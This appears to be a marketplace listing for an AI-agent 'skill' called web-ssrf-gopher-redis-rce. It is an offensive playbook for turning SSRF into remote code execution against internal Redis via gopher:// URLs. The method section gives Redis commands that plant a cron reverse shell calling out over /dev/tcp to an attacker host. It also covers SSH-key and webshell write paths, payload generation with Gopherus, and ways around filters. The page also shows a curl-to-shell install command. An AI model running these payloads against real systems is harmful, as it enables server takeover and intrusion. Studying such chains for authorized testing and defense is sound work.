Skip to content
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
noorqureshi/web-ssrf-gopher-redis-rceWeb and bug bounty

web-ssrf-gopher-redis-rce

⁨Turn a server-side request (SSRF) into RCE by speaking the Redis protocol over gopher:// to an internal, unauthenticated Redis — write a cron job, an SSH key, or a webshell. Load when: SSRF is confirmed (URL fetch, webhook, PDF/URL preview, image proxy) AND an internal Redis/6379 (or similar line-pr⁩

v2026.10.14-ee0e0c53 installs+3 in 7 days27 StarsMITsynced 22 hours ago

Install

No NotHoly CLI yet? Install it first.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install noorqureshi/web-ssrf-gopher-redis-rce

Writes to ⁦~/.notholy/skills⁩ after checking the signature and the SHA-256.

SignatureSigned, ed25519
j/wfi80QBP…VQ42MZAg==The CLI checks the SHA-256 and the signature before it writes a file.
Packagedc677dac…8e52fc7a
dc677dac356e…f72c8e52fc7a1 file · ⁦2.1 KB⁩
ScanLowno findings
The scan found nothing to flag in this version.See the full scan
Sourcegithub.com/NoorQureshi/security-skills/tree/main/skills/web/web-ssrf-gopher-redis-rce@ee0e0c5

When it applies

  • You have a confirmed SSRF: the app fetches a URL you control (webhook, "import from URL", link preview, avatar-by-URL, headless PDF, XXE-to-SSRF), and it will follow gopher:// (curl-backed fetchers commonly do).
  • An internal Redis is reachable from the app host (127.0.0.1:6379 or a Docker service) and is unauthenticated (default) or you know the password.

Why it works

Redis speaks a simple newline/inline text protocol. gopher:// lets you send arbitrary raw bytes to a TCP port, so you can pipeline real Redis commands through the SSRF. Redis can write files (CONFIG SET dir + dbfilename + SAVE), so you overwrite a file that gets executed: a cron job, ~/.ssh/authorized_keys, or a web-root PHP file.

Method

  1. Confirm SSRF reaches Redis: point the SSRF at gopher://127.0.0.1:6379/_PING and look for +PONG behaviour / no error (or a timing/response difference).
  2. Pick a write primitive based on what the Redis user can write:
    • Cron (Redis running as root, Debian/Ubuntu): write to /var/spool/cron/crontabs/root or /etc/cron.d/x a reverse-shell line.
    • SSH key: write your pubkey to a user's ~/.ssh/authorized_keys (dir=/root/.ssh, dbfilename=authorized_keys).
    • Webshell: if you know the web root, dir=/var/www/html, dbfilename=shell.php.
  3. Build the Redis command sequence (example — cron reverse shell):
    text
    flushall
    set x "\n\n*/1 * * * * root bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'\n\n"
    config set dir /etc/cron.d
    config set dbfilename runme
    save
  4. Encode to a gopher URL: each command as a CRLF-terminated line, URL-encode (%0D%0A between commands), prefix gopher://127.0.0.1:6379/_. Use Gopherus (gopherus --exploit redis) to generate the payload correctly — hand-encoding is error-prone.
  5. Deliver the gopher URL through the SSRF sink; start your listener; wait for cron (≤60s) or use the SSH key / webshell immediately.

Tools

  • Gopherus — auto-builds gopher payloads for redis/mysql/postgres/fastcgi/smtp. Fastest, correct encoding.
  • redis-cli (to understand the commands first), nc -lvnp <port> listener, ssh-keygen for the key path.

Gotchas

  • Newlines matter: pad the cron value with leading/trailing \n so Redis's RDB dump garbage doesn't break the crontab line. Cron also requires a trailing newline and (in /etc/cron.d / crontabs/root) the root user field.
  • Redis ≥ some builds run as redis user, not root → cron-as-root fails; fall back to an SSH key for the redis user or a webshell in a writable web root.
  • Protected mode / auth: newer Redis binds localhost & may need AUTH <pass>; if reachable only via SSRF from localhost it's usually exploitable.
  • If gopher:// is filtered, try dict:// for single commands, or FastCGI via gopher for PHP-FPM RCE.

Verify success

gopher://…/_PING behaviour differs from a closed port; after SAVE, your listener catches a shell (cron) or the SSH key logs in. CONFIG GET dir echoing your path confirms the write target was accepted.

Learned on

Reference technique (common SSRF-chain pattern). Capture the target-specific SSRF sink and the exact writable path in your engagement notes when you use it.

Files in this version

Permissions

PermissionDeclaredFound by the scan
Reads filesNoNo
Writes filesNoNo
Runs shell commandsNoNo
Uses the networkYesYes
Uses connectorsNoNo
Drives a browserNoNo

Scan findings

Reviewed on Nov 13, 2026

The scan found nothing to flag in this version.

A clean scan lowers the risk but does not prove a package is safe. Read what you install.

VersionPublishedCommitSHA-256SignaturePermission change
v2026.10.14-ee0e0c5Nov 13, 2026ee0e0c5dc677dacSigned–

Ask anything your scope allows.

Create an account, add credits and ask the first question in the chat or the terminal.

  1. 1/3

    Create the account

    Individual or company. You can switch to a company later without losing balance or keys.

    IndividualCompany
  2. 2/3

    Add credits

    By card. Pay per token, no subscription.

    $5.00minimum deposit
  3. 3/3

    Ask

    In the chat, or install the CLI and run notholy login in your terminal.

    $ notholy login